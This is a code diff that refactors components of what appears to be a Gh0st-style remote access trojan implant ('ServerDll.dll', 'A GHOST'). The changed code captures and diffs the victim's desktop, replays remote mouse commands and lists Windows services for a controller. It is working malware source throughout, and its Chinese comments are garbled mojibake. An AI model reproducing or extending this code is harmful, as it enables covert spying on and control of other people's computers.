const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{ {
AUTO_TICK(5);
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength); LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
if (ulNextSendLength == 0 || NextScreenData == NULL) if (ulNextSendLength == 0 || NextScreenData == NULL)
@@ -212,10 +245,9 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
ulNextSendLength += 1; ulNextSendLength += 1;
char* szBuffer = new char[ulNextSendLength];
szBuffer[0] = TOKEN_NEXTSCREEN; szBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1); memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
szBuffer[ulNextSendLength] = 0;
return szBuffer; return szBuffer;
} }
@@ -253,10 +285,10 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
POINT Point; POINT Point;
Point.x = LOWORD(Msg->lParam); Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam); Point.y = HIWORD(Msg->lParam);
if(m_ScreenSpyObject->m_bZoomed) if(m_ScreenSpyObject->IsZoomed())
{ {
Point.x *= m_ScreenSpyObject->m_wZoom; Point.x *= m_ScreenSpyObject->GetWZoom();
Point.y *= m_ScreenSpyObject->m_hZoom; Point.y *= m_ScreenSpyObject->GetHZoom();
} }
SetCursorPos(Point.x, Point.y); SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point)); SetCapture(WindowFromPoint(Point));

View File

@@ -17,12 +17,13 @@ class IOCPClient;
class CScreenManager : public CManager class CScreenManager : public CManager
{ {
public: public:
char* szBuffer;
CScreenManager(IOCPClient* ClientObject, int n); CScreenManager(IOCPClient* ClientObject, int n);
virtual ~CScreenManager(); virtual ~CScreenManager();
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID SendBitMapInfor(); VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
CScreenSpy* m_ScreenSpyObject; CScreenSpy* m_ScreenSpyObject;

View File

@@ -14,22 +14,8 @@
CScreenSpy::CScreenSpy(ULONG ulbiBitCount) CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
{ {
m_bAlgorithm = ALGORITHM_DIFF; m_bAlgorithm = ALGORITHM_DIFF;
m_dwBitBltRop = SRCCOPY; m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
m_BitmapInfor_Full = NULL;
switch (ulbiBitCount)
{
case 16:
case 32:
m_ulbiBitCount = ulbiBitCount;
break;
default:
m_ulbiBitCount = 16;
}
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>׼ //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>׼
//<2F><><EFBFBD><EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD> //<2F><><EFBFBD><EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
DEVMODE devmode; DEVMODE devmode;
@@ -44,29 +30,50 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h; m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom; m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
m_BitmapInfor_Full = new BITMAPINFO();
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);
BitmapInforHeader->biWidth = m_ulFullWidth; //1080
BitmapInforHeader->biHeight = m_ulFullHeight; //1920
BitmapInforHeader->biPlanes = 1;
BitmapInforHeader->biBitCount = ulbiBitCount; //ͨ<><CDA8>Ϊ32
BitmapInforHeader->biCompression = BI_RGB;
BitmapInforHeader->biSizeImage =
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight;
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
m_BitmapData_Full = NULL; m_BitmapData_Full = NULL;
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle); ::SelectObject(m_hFullMemDC, m_BitmapHandle);
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2]; m_DiffBitmapData_Full = NULL;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
m_RectBufferOffset = 0; m_RectBufferOffset = 0;
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
} }
CScreenSpy::~CScreenSpy() CScreenSpy::~CScreenSpy()
{ {
ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC if (m_BitmapInfor_Full != NULL)
{
delete m_BitmapInfor_Full;
m_BitmapInfor_Full = NULL;
}
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
if (m_hFullMemDC!=NULL) if (m_hFullMemDC!=NULL)
{ {
DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC DeleteDC(m_hFullMemDC);
::DeleteObject(m_BitmapHandle); ::DeleteObject(m_BitmapHandle);
if (m_BitmapData_Full!=NULL) if (m_BitmapData_Full!=NULL)
@@ -79,7 +86,7 @@ CScreenSpy::~CScreenSpy()
if (m_hDiffMemDC!=NULL) if (m_hDiffMemDC!=NULL)
{ {
DeleteDC(m_hDiffMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC DeleteDC(m_hDiffMemDC);
::DeleteObject(m_DiffBitmapHandle); ::DeleteObject(m_DiffBitmapHandle);
if (m_DiffBitmapData_Full!=NULL) if (m_DiffBitmapData_Full!=NULL)
@@ -88,12 +95,6 @@ CScreenSpy::~CScreenSpy()
} }
} }
if (m_BitmapInfor_Full!=NULL)
{
delete[] m_BitmapInfor_Full;
m_BitmapInfor_Full = NULL;
}
if (m_RectBuffer) if (m_RectBuffer)
{ {
delete[] m_RectBuffer; delete[] m_RectBuffer;
@@ -103,68 +104,17 @@ CScreenSpy::~CScreenSpy()
m_RectBufferOffset = 0; m_RectBufferOffset = 0;
} }
ULONG CScreenSpy::GetBISize()
{
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
}
LPBITMAPINFO CScreenSpy::GetBIData()
{
return m_BitmapInfor_Full;
}
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
ULONG ulFullWidth, ULONG ulFullHeight)
{
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
BitmapInforHeader->biWidth = ulFullWidth; //1080
BitmapInforHeader->biHeight = ulFullHeight; //1920
BitmapInforHeader->biPlanes = 1;
BitmapInforHeader->biBitCount = ulbiBitCount; //32
BitmapInforHeader->biCompression = BI_RGB;
BitmapInforHeader->biXPelsPerMeter = 0;
BitmapInforHeader->biYPelsPerMeter = 0;
BitmapInforHeader->biClrUsed = 0;
BitmapInforHeader->biClrImportant = 0;
BitmapInforHeader->biSizeImage =
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
return BitmapInfor;
}
LPVOID CScreenSpy::GetFirstScreenData() LPVOID CScreenSpy::GetFirstScreenData()
{ {
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD><EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD> //<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD><EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>
::BitBlt(m_hFullMemDC, 0, 0, ::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
return m_BitmapData_Full; //<2F>ڴ<EFBFBD> return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
} }
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ULONG CScreenSpy::GetFirstScreenLength()
{
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength) LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
{ {
if (m_RectBuffer == NULL)
{
return NULL;
}
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8> // <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
m_RectBufferOffset = 0; m_RectBufferOffset = 0;
@@ -174,22 +124,23 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB> // д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos; POINT CursorPos;
GetCursorPos(&CursorPos); GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT)); WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex(); static CCursorInfo m_CursorInfor;
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE)); WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD> // <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>
if (m_bAlgorithm == ALGORITHM_DIFF) if (m_bAlgorithm == ALGORITHM_DIFF)
{ {
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43> // <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
m_BitmapInfor_Full->bmiHeader.biHeight);
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>޸<EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD> //<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>޸<EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
*ulNextSendLength = m_RectBufferOffset + *ulNextSendLength = m_RectBufferOffset + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage); m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
return m_RectBuffer; return m_RectBuffer;
@@ -199,18 +150,11 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
} }
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
{
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
m_RectBufferOffset += ulLength;
}
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{ {
AUTO_TICK(1); AUTO_TICK(70);
#ifdef COPY_ALL #if COPY_ALL
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop); BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
#else #else
const ULONG ulJumpLine = 50; const ULONG ulJumpLine = 50;
const ULONG ulJumpSleep = ulJumpLine / 10; const ULONG ulJumpSleep = ulJumpLine / 10;
@@ -223,17 +167,16 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
ulToJump = ulJumpLine; ulToJump = ulJumpLine;
else else
ulToJump = ulv1; ulToJump = ulv1;
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop); BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
Sleep(ulJumpSleep); Sleep(ulJumpSleep);
} }
#endif #endif
} }
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength)
LPBYTE szBuffer, DWORD ulCompareLength)
{ {
AUTO_TICK(1); AUTO_TICK(20);
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD> // Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData; LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB> // ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>

View File

@@ -10,44 +10,86 @@
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
#define ALGORITHM_DIFF 1 #define ALGORITHM_DIFF 1
#define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37> #define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
#include "CursorInfor.h" #include "CursorInfo.h"
class CScreenSpy class CScreenSpy
{ {
public: private:
CScreenSpy(ULONG ulbiBitCount); BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
virtual ~CScreenSpy(); ULONG m_ulbiBitCount; // ÿ<><C3BF><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
ULONG GetBISize();
LPBITMAPINFO GetBIData(); ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
ULONG m_ulbiBitCount; ULONG m_ulFullHeight; //<2F><>Ļ<EFBFBD><C4BB>
LPBITMAPINFO m_BitmapInfor_Full; bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<EFBFBD><EFBFBD><EFBFBD> double m_wZoom; // <EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount, double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
ULONG ulFullWidth, ULONG ulFullHeight);
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD> HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
HDC m_hFullMemDC; HDC m_hFullMemDC;
HBITMAP m_BitmapHandle; HBITMAP m_BitmapHandle;
PVOID m_BitmapData_Full; PVOID m_BitmapData_Full;
DWORD m_dwBitBltRop;
LPVOID GetFirstScreenData();
ULONG GetFirstScreenLength();
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
BYTE* m_RectBuffer;
ULONG m_RectBufferOffset;
BYTE m_bAlgorithm;
VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
CCursorInfor m_CursorInfor;
HDC m_hDiffMemDC; HDC m_hDiffMemDC;
HBITMAP m_DiffBitmapHandle; HBITMAP m_DiffBitmapHandle;
PVOID m_DiffBitmapData_Full; PVOID m_DiffBitmapData_Full;
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
LPBYTE szBuffer, DWORD ulCompareLength); ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
BYTE* m_RectBuffer; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
public:
CScreenSpy(ULONG ulbiBitCount);
virtual ~CScreenSpy();
int GetWidth()const {
return m_ulFullWidth;
}
int GetHeight() const {
return m_ulFullHeight;
}
bool IsZoomed() const {
return m_bZoomed;
}
double GetWZoom() const {
return m_wZoom;
}
double GetHZoom() const {
return m_hZoom;
}
const LPBITMAPINFO& GetBIData() const
{
return m_BitmapInfor_Full;
}
ULONG GetFirstScreenLength() const
{
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength)
{
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
m_RectBufferOffset += ulLength;
}
LPVOID GetFirstScreenData();
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength);
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double m_wZoom, m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>
}; };
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_) #endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)

View File

@@ -25,11 +25,11 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
// //
IDD_DIALOG DIALOGEX 0, 0, 180, 108 IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ" CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
FONT 10, "System", 0, 0, 0x0 FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END END
@@ -43,7 +43,6 @@ GUIDELINES DESIGNINFO
BEGIN BEGIN
IDD_DIALOG, DIALOG IDD_DIALOG, DIALOG
BEGIN BEGIN
BOTTOMMARGIN, 101
END END
END END
#endif // APSTUDIO_INVOKED #endif // APSTUDIO_INVOKED
@@ -82,13 +81,14 @@ END
IDR_WAVE WAVE "Res\\msg.wav" IDR_WAVE WAVE "Res\\msg.wav"
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
// //
// Version // Version
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,1 FILEVERSION 1,0,0,6
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,10 +106,10 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.0.1" VALUE "FileVersion", "1.0.0.6"
VALUE "InternalName", "ServerDl.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll" VALUE "OriginalFilename", "ServerDll.dll"
VALUE "ProductName", "A GHOST" VALUE "ProductName", "A GHOST"
VALUE "ProductVersion", "1.0.0.1" VALUE "ProductVersion", "1.0.0.1"
END END
@@ -120,6 +120,18 @@ BEGIN
END END
END END
/////////////////////////////////////////////////////////////////////////////
//
// Icon
//
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON_MAIN ICON "Res\\ghost.ico"
IDI_ICON_MSG ICON "Res\\msg.ico"
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>й<EFBFBD>) resources #endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>й<EFBFBD>) resources
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////

View File

@@ -65,10 +65,11 @@ LPBYTE CServicesManager::GetServicesList()
&dwResumeHandle); &dwResumeHandle);
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH); szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
if (szBuffer == NULL)
return NULL;
szBuffer[0] = TOKEN_SERVERLIST; szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1; dwOffset = 1;
for (unsigned long i = 0; i < dwServicesCount; i++) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD> for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
{ {
SC_HANDLE hServices = NULL; SC_HANDLE hServices = NULL;
DWORD nResumeHandle = 0; DWORD nResumeHandle = 0;
@@ -82,7 +83,8 @@ LPBYTE CServicesManager::GetServicesList()
} }
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024); ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
if (ServicesInfor == NULL)
continue;
